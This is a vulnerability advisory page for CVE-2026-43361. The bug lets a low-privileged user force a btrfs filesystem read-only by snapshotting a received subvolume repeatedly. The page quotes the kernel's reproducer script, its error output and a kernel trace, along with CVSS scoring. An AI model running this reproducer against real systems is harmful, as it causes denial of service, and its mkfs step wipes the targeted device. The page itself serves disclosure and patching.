HOMEVULNERABILITIESCVE-2026-43361
MEDIUM

CVE-2026-43361

Published: May 8, 2026· Updated: May 15, 2026

5.5
CVSS v3.1
EPSS:0.02%probability of exploitation in 30 daysPercentile:7.0th

Official Description

In the Linux kernel, the following vulnerability has been resolved:

btrfs: fix transaction abort when snapshotting received subvolumes

Currently a user can trigger a transaction abort by snapshotting a

previously received snapshot a bunch of times until we reach a

BTRFS_UUID_KEY_RECEIVED_SUBVOL item overflow (the maximum item size we

can store in a leaf). This is very likely not common in practice, but

if it happens, it turns the filesystem into RO mode. The snapshot, send

and set_received_subvol and subvol_setflags (used by receive) don't

require CAP_SYS_ADMIN, just inode_owner_or_capable(). A malicious user

could use this to turn a filesystem into RO mode and disrupt a system.

Reproducer script:

$ cat test.sh

#!/bin/bash

DEV=/dev/sdi

MNT=/mnt/sdi

# Use smallest node size to make the test faster.

mkfs.btrfs -f --nodesize 4K $DEV

mount $DEV $MNT

# Create a subvolume and set it to RO so that it can be used for send.

btrfs subvolume create $MNT/sv

touch $MNT/sv/foo

btrfs property set $MNT/sv ro true

# Send and receive the subvolume into snaps/sv.

mkdir $MNT/snaps

btrfs send $MNT/sv | btrfs receive $MNT/snaps

# Now snapshot the received subvolume, which has a received_uuid, a

# lot of times to trigger the leaf overflow.

total=500

for ((i = 1; i <= $total; i++)); do

echo -ne "\rCreating snapshot $i/$total"

btrfs subvolume snapshot -r $MNT/snaps/sv $MNT/snaps/sv_$i > /dev/null

done

echo

umount $MNT

When running the test:

$ ./test.sh

(...)

Create subvolume '/mnt/sdi/sv'

At subvol /mnt/sdi/sv

At subvol sv

Creating snapshot 496/500ERROR: Could not create subvolume: Value too large for defined data type

Creating snapshot 497/500ERROR: Could not create subvolume: Read-only file system

Creating snapshot 498/500ERROR: Could not create subvolume: Read-only file system

Creating snapshot 499/500ERROR: Could not create subvolume: Read-only file system

Creating snapshot 500/500ERROR: Could not create subvolume: Read-only file system

And in dmesg/syslog:

$ dmesg

(...)

[251067.627338] BTRFS warning (device sdi): insert uuid item failed -75 (0x4628b21c4ac8d898, 0x2598bee2b1515c91) type 252!

[251067.629212] ------------[ cut here ]------------

[251067.630033] BTRFS: Transaction aborted (error -75)

[251067.630871] WARNING: fs/btrfs/transaction.c:1907 at create_pending_snapshot.cold+0x52/0x465 [btrfs], CPU#10: btrfs/615235

[251067.632851] Modules linked in: btrfs dm_zero (...)

[251067.644071] CPU: 10 UID: 0 PID: 615235 Comm: btrfs Tainted: G W 6.19.0-rc8-btrfs-next-225+ #1 PREEMPT(full)

[251067.646165] Tainted: [W]=WARN

[251067.646733] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org 04/01/2014

[251067.648735] RIP: 0010:create_pending_snapshot.cold+0x55/0x465 [btrfs]

[251067.649984] Code: f0 48 0f (...)

[251067.653313] RSP: 0018:ffffce644908fae8 EFLAGS: 00010292

[251067.653987] RAX: 00000000ffffff01 RBX: ffff8e5639e63a80 RCX: 00000000ffffffd3

[251067.655042] RDX: ffff8e53faa76b00 RSI: 00000000ffffffb5 RDI: ffffffffc0919750

[251067.656077] RBP: ffffce644908fbd8 R08: 0000000000000000 R09: ffffce644908f820

[251067.657068] R10: ffff8e5adc1fffa8 R11: 0000000000000003 R12: ffff8e53c0431bd0

[251067.658050] R13: ffff8e5414593600 R14: ffff8e55efafd000 R15: 00000000ffffffb5

[251067.659019] FS: 00007f2a4944b3c0(0000) GS:ffff8e5b27dae000(0000) knlGS:0000000000000000

[251067.660115] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033

[251067.660943] CR2: 00007ffc5aa57898 CR3: 00000005813a2003 CR4: 0000000000370ef0

[251067.661972] Call Trace:

[251067.662292] <TASK>

[251067.662653] create_pending_snapshots+0x97/0xc0 [btrfs]

[251067.663413] btrfs_commit_transaction+0x26e/0xc00 [btrfs]

[251067.664257] ? btrfs_qgroup_convert_reserved_meta+0x35/0x390 [btrfs]

[251067.665238] ? _raw_spin_unlock+0x15/0x30

[251067.665837] ? record_root_

---truncated---

NVD Source

Technical Analysis

CVE-2026-43361 requires local access, meaning attackers must already have a foothold on the target system.

Exploitation requires low privileges, which limits the exposure to scenarios where an attacker has already gained initial access.

A successful exploit results in availability disruption (denial of service), with a CVSS base score of 5.5.

CVSS v3.1 Vector Breakdown

Exploitability
Attack VectorLocal
Attack ComplexityLow
Privileges Req.Low
User InteractionNone
ScopeUnchanged
Impact
ConfidentialityNone
IntegrityNone
AvailabilityHigh
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Affected Vendors & Products

Linux1 product
linux kernel
Source: NVD CPE · 2 total CPE entries

Exploit & PoC Resources

NO KNOWN EXPLOITNo public exploit confirmed at this time
External links open in a new tab. Always verify in a controlled environment before use.

Official Patches & Advisories

All References (6)

Quick Facts

CVE IDCVE-2026-43361
CVSS Score5.5 / 10
SeverityMEDIUM
CISA KEVNo
EPSS (30d)0.02%
Affected1 vendor
PublishedMay 8, 2026

Recommended Actions

  • Apply vendor patches immediately
  • Monitor CVE-2026-43361 in threat intel feeds
  • Review IDS/IPS signatures for exploitation attempts
Data sourced from NVD (NIST), CISA KEV, and EPSS (FIRST). Analysis generated by CTIWATCH.COM. CVE data is provided under the NVD usage policy.